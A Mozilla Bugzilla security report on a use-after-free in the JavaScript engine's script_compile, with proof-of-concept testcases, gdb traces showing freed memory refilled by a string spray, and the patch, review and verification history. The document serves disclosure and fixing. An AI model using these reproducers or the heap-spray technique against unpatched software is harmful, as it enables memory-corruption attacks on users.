Closed Bug 367118 Opened 17 years ago Closed 17 years ago

Potential memory corruption in script_compile

Categories

(Core :: JavaScript Engine, defect)

defect
Not set
normal

Tracking

()

VERIFIED FIXED

People

(Reporter: moz_bug_r_a4, Assigned: crowderbt)

Details

(Keywords: verified1.8.0.10, verified1.8.1.2, Whiteboard: [sg:critical])

Attachments

(5 files, 1 obsolete file)

Attached file testcase
http://bonsai.mozilla.org/cvsblame.cgi?file=mozilla/js/src/jsscript.c&rev=3.129&mark=180,192,204,251-252#160

In script_compile, we retrieve |oldscript| before calling js_ValueToString(cx,
argv[0]) and js_ValueToObject(cx, argv[1], &scopeobj).  During the calls to
those functions, |oldscript| can be freed by calling script.compile().

  var s = new Script("");
  var o = {
    toString : function() {
      s.compile("");
      return "";
    }
  };
  s.compile(o);

or

  var s = new Script("");
  var o = {
    valueOf : function() {
      s.compile("");
      return {};
    }
  };
  s.compile("", o);


---
js> var s = new Script(""), o = {
  toString : function() {
    s.compile("");
    return "a";
  }
}; s.compile(o); new Date(); void 0;


Breakpoint 2, script_compile (cx=0x81556a8, obj=0x815b180, argc=1,
    argv=0x816324c, rval=0xbfe13830) at jsscript.c:252
252             js_DestroyScript(cx, oldscript);
(gdb) p oldscript
$1 = (JSScript *) 0x8162370
(gdb) p/x *oldscript
$2 = {code = 0x81623a0, length = 0x1, main = 0x81623a0, version = 0x0,
  numGlobalVars = 0x0, atomMap = {vector = 0x0, length = 0x0},
  filename = 0x8162211, lineno = 0x1, depth = 0x0, trynotes = 0x0,
  principals = 0x0, object = 0x815b180}
(gdb) n
254         script->object = obj;
(gdb) p/x *oldscript
$3 = {code = 0x0, length = 0x1, main = 0x81623a0, version = 0x0,
  numGlobalVars = 0x0, atomMap = {vector = 0x0, length = 0x0},
  filename = 0x8162211, lineno = 0x1, depth = 0x0, trynotes = 0x0,
  principals = 0x0, object = 0x815b180}
(gdb) c
Continuing.

Breakpoint 2, script_compile (cx=0x81556a8, obj=0x815b180, argc=1,
    argv=0x8163220, rval=0xbfe140e0) at jsscript.c:252
252             js_DestroyScript(cx, oldscript);
(gdb) p/x *oldscript
$4 = {code = 0xb7ed1388, length = 0xb7ed1388, main = 0x81623a0, version = 0x0,
  numGlobalVars = 0x0, atomMap = {vector = 0x0, length = 0x0},
  filename = 0x8162211, lineno = 0x1, depth = 0x0, trynotes = 0x0,
  principals = 0x0, object = 0x815b180}
(gdb) n
254         script->object = obj;
(gdb) p/x *oldscript
$5 = {code = 0x0, length = 0xb7ed1388, main = 0x81623a0, version = 0x0,
  numGlobalVars = 0x0, atomMap = {vector = 0x0, length = 0x0},
  filename = 0x8162211, lineno = 0x1, depth = 0x0, trynotes = 0x0,
  principals = 0x0, object = 0x815b180}
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xb7e088a0 in free () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0xb7e088a0 in free () from /lib/tls/i686/cmov/libc.so.6
#1  0xb7e0a411 in malloc () from /lib/tls/i686/cmov/libc.so.6
#2  0x0805adc7 in JS_malloc (cx=0x81556a8, nbytes=36) at jsapi.c:1678
#3  0x080f4676 in js_NewScope (cx=0x81556a8, nrefs=1, ops=0x81386e0,
    clasp=0x8137060, obj=0x815b1c0) at jsscope.c:145
#4  0x080be1ec in js_NewObjectMap (cx=0x81556a8, nrefs=1, ops=0x81386e0,
    clasp=0x8137060, obj=0x815b1c0) at jsobj.c:2215
#5  0x080be9f0 in js_NewObject (cx=0x81556a8, clasp=0x8137060,
    proto=0x815a100, parent=0x815a020) at jsobj.c:2486
#6  0x0805b6cb in JS_InitClass (cx=0x81556a8, obj=0x815a020,
    parent_proto=0x815a100, clasp=0x8137060, constructor=0x806f345 <Date>,
    nargs=7, ps=0x0, fs=0x8137280, static_ps=0x0, static_fs=0x8137240)
    at jsapi.c:2175
#7  0x0806f9a0 in js_InitDateClass (cx=0x81556a8, obj=0x815a020)
    at jsdate.c:2170
#8  0x0805a7c2 in JS_ResolveStandardClass (cx=0x81556a8, obj=0x815a020,
    id=135621756, resolved=0xbfe14084) at jsapi.c:1497
#9  0x0804e08a in global_resolve (cx=0x81556a8, obj=0x815a020, id=135621756,
    flags=0, objp=0xbfe140e0) at js.c:2672
#10 0x080c0720 in js_LookupPropertyWithFlags (cx=0x81556a8, obj=0x815a020,
    id=135630456, flags=0, objp=0xbfe14178, propp=0xbfe14174) at jsobj.c:3249
#11 0x080c03e0 in js_LookupProperty (cx=0x81556a8, obj=0x815a020,
    id=135630456, objp=0xbfe14178, propp=0xbfe14174) at jsobj.c:3153
---Type <return> to continue, or q <return> to quit---
#12 0x080c0acb in js_FindProperty (cx=0x81556a8, id=135630456,
    objp=0xbfe1443c, pobjp=0xbfe14438, propp=0xbfe14410) at jsobj.c:3347
#13 0x080a9b23 in js_Interpret (cx=0x81556a8, pc=0x8162410 ";",
    result=0xbfe14694) at jsinterp.c:4131
#14 0x080999f2 in js_Execute (cx=0x81556a8, chain=0x815a020, script=0x81623a8,
    down=0x0, flags=0, result=0xbfe15764) at jsinterp.c:1607
#15 0x0805fe17 in JS_ExecuteScript (cx=0x81556a8, obj=0x815a020,
    script=0x81623a8, rval=0xbfe15764) at jsapi.c:4212
#16 0x08049760 in Process (cx=0x81556a8, obj=0x815a020, filename=0x0,
    forceTTY=0) at js.c:268
#17 0x08049ecb in ProcessArgs (cx=0x81556a8, obj=0x815a020, argv=0xbfe158f8,
    argc=0) at js.c:489
#18 0x0804e5b7 in main (argc=0, argv=0xbfe158f8, envp=0xbfe158fc) at js.c:3167
(gdb)


---
js> var s = new Script(""), o = {
  toString : function() {
    s.compile("");
    Array(11).join(Array(11).join(Array(101).join("aaaaa")));
    return "a";
  }
}; s.compile(o); void 0;


Breakpoint 2, script_compile (cx=0x81556a8, obj=0x815b1c0, argc=1,
    argv=0x8164954, rval=0xbfe568c0) at jsscript.c:252
252             js_DestroyScript(cx, oldscript);
(gdb) p oldscript
$1 = (JSScript *) 0x8163b08
(gdb) p/x *oldscript
$2 = {code = 0x8163b38, length = 0x1, main = 0x8163b38, version = 0x0,
  numGlobalVars = 0x0, atomMap = {vector = 0x0, length = 0x0},
  filename = 0x8164831, lineno = 0x1, depth = 0x0, trynotes = 0x0,
  principals = 0x0, object = 0x815b1c0}
(gdb) n
254         script->object = obj;
(gdb) p/x *oldscript
$3 = {code = 0x0, length = 0x1, main = 0x8163b38, version = 0x0,
  numGlobalVars = 0x0, atomMap = {vector = 0x0, length = 0x0},
  filename = 0x8164831, lineno = 0x1, depth = 0x0, trynotes = 0x0,
  principals = 0x0, object = 0x815b1c0}
(gdb) c
Continuing.

Breakpoint 2, script_compile (cx=0x81556a8, obj=0x815b1c0, argc=1,
    argv=0x8164918, rval=0xbfe57170) at jsscript.c:252
252             js_DestroyScript(cx, oldscript);
(gdb) p/x *oldscript
$4 = {code = 0x610061, length = 0x610061, main = 0x610061, version = 0x61,
  numGlobalVars = 0x61, atomMap = {vector = 0x610061, length = 0x610061},
  filename = 0x610061, lineno = 0x610061, depth = 0x610061,
  trynotes = 0x610061, principals = 0x610061, object = 0x610061}
(gdb) n

Program received signal SIGSEGV, Segmentation fault.
0xb7e49309 in free () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0xb7e49309 in free () from /lib/tls/i686/cmov/libc.so.6
#1  0x0805ae6e in JS_free (cx=0x81556a8, p=0x610061) at jsapi.c:1702
#2  0x08068549 in js_FreeAtomMap (cx=0x81556a8, map=0x8163b18) at jsatom.c:995
#3  0x080f9180 in js_DestroyScript (cx=0x81556a8, script=0x8163b08)
    at jsscript.c:1399
#4  0x080f7673 in script_compile (cx=0x81556a8, obj=0x815b1c0, argc=1,
    argv=0x8164918, rval=0xbfe57170) at jsscript.c:252
#5  0x080990e5 in js_Invoke (cx=0x81556a8, argc=1, flags=0) at jsinterp.c:1348
#6  0x080a93a4 in js_Interpret (cx=0x81556a8, pc=0x81648a4 ":",
    result=0xbfe57724) at jsinterp.c:4070
#7  0x080999f2 in js_Execute (cx=0x81556a8, chain=0x815a020, script=0x8164840,
    down=0x0, flags=0, result=0xbfe587f4) at jsinterp.c:1607
#8  0x0805fe17 in JS_ExecuteScript (cx=0x81556a8, obj=0x815a020,
    script=0x8164840, rval=0xbfe587f4) at jsapi.c:4212
#9  0x08049760 in Process (cx=0x81556a8, obj=0x815a020, filename=0x0,
    forceTTY=0) at js.c:268
#10 0x08049ecb in ProcessArgs (cx=0x81556a8, obj=0x815a020, argv=0xbfe58988,
    argc=0) at js.c:489
#11 0x0804e5b7 in main (argc=0, argv=0xbfe58988, envp=0xbfe5898c) at js.c:3167
(gdb)
Perhaps we should add a 'busy' flag to JSScript and check that in compile instead of relying on the script actually being on the active stack?
Flags: wanted1.8.1.x+
Flags: wanted1.8.0.x+
Whiteboard: [sg:critical?]
Critical security bugs must have owners. If you can't work on this bug help us find another active owner for it.
Assignee: general → brendan
Assignee: brendan → crowder
Attached patch another fix by re-ordering (obsolete) — Splinter Review
Again, a patch against the main trunk which much be tested by turning Script objects back on in jsconfig.h.  I will port to branches if it succeeds.
Attachment #252965 - Flags: review?(brendan)
Attached patch betterSplinter Review
This orders declarations by use-order, as suggested in another nit I got today.
Attachment #252965 - Attachment is obsolete: true
Attachment #252965 - Flags: review?(brendan)
Comment on attachment 253003 [details] [diff] [review]
better

r=me, looks good.

/be
Attachment #253003 - Flags: review+
Attachment #253003 - Flags: approval1.8.1.2?
Attachment #253003 - Flags: approval1.8.0.10?
Comment on attachment 253003 [details] [diff] [review]
better

a=dveditz for 1.8/1.8.0 branches
Attachment #253003 - Flags: approval1.8.1.2?
Attachment #253003 - Flags: approval1.8.1.2+
Attachment #253003 - Flags: approval1.8.0.10?
Attachment #253003 - Flags: approval1.8.0.10+
Checking in jsscript.c;
/cvsroot/mozilla/js/src/jsscript.c,v  <--  jsscript.c
new revision: 3.132; previous revision: 3.131
done
Status: NEW → ASSIGNED
Checking in jsscript.c;
/cvsroot/mozilla/js/src/jsscript.c,v  <--  jsscript.c
new revision: 3.79.2.19; previous revision: 3.79.2.18
done
Damn, this one doesn't land cleanly on 1.8.0.  The differences are enough to be worth reviewing.
Attachment #253132 - Flags: review?(brendan)
Attachment #253132 - Flags: approval1.8.1.2?
Attachment #253132 - Flags: approval1.8.0.10?
Comment on attachment 253132 [details] [diff] [review]
Moz 1.8.0 branch port

Still looks good to me.

/be
Attachment #253132 - Flags: review?(brendan) → review+
Checking in jsscript.c;
/cvsroot/mozilla/js/src/jsscript.c,v  <--  jsscript.c
new revision: 3.79.2.5.2.5; previous revision: 3.79.2.5.2.4
done
Status: ASSIGNED → RESOLVED
Closed: 17 years ago
Resolution: --- → FIXED
OS: Windows XP → All
Hardware: PC → All
Whiteboard: [sg:critical?] → [sg:critical]
Comment on attachment 253132 [details] [diff] [review]
Moz 1.8.0 branch port

a=dveditz for 1.8.0 branch.

The other one ("better") is for 1.8, right?
Attachment #253132 - Flags: approval1.8.1.2?
Attachment #253132 - Flags: approval1.8.0.10?
Attachment #253132 - Flags: approval1.8.0.10+
Yeah, the patch from comment 5 is what landed on 1.8, it applied cleanly there.
Flags: in-testsuite+
Verified using testcase in comment #0 on:
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10pre) Gecko/20070206 Firefox/1.5.0.10pre
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070206 BonEcho/2.0.0.2pre
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10pre) Gecko/20070208 Firefox/1.5.0.10pre
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2pre) Gecko/20070207 BonEcho/2.0.0.2pre
verified fixed 2007-02-17 1.9.0 windows/mac*/linux
Status: RESOLVED → VERIFIED
Group: security
/cvsroot/mozilla/js/tests/js1_5/extensions/regress-367118-01.js,v  <--  regress-367118-01.js
initial revision: 1.1

/cvsroot/mozilla/js/tests/js1_5/extensions/regress-367118-02.js,v  <--  regress-367118-02.js
initial revision: 1.1
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: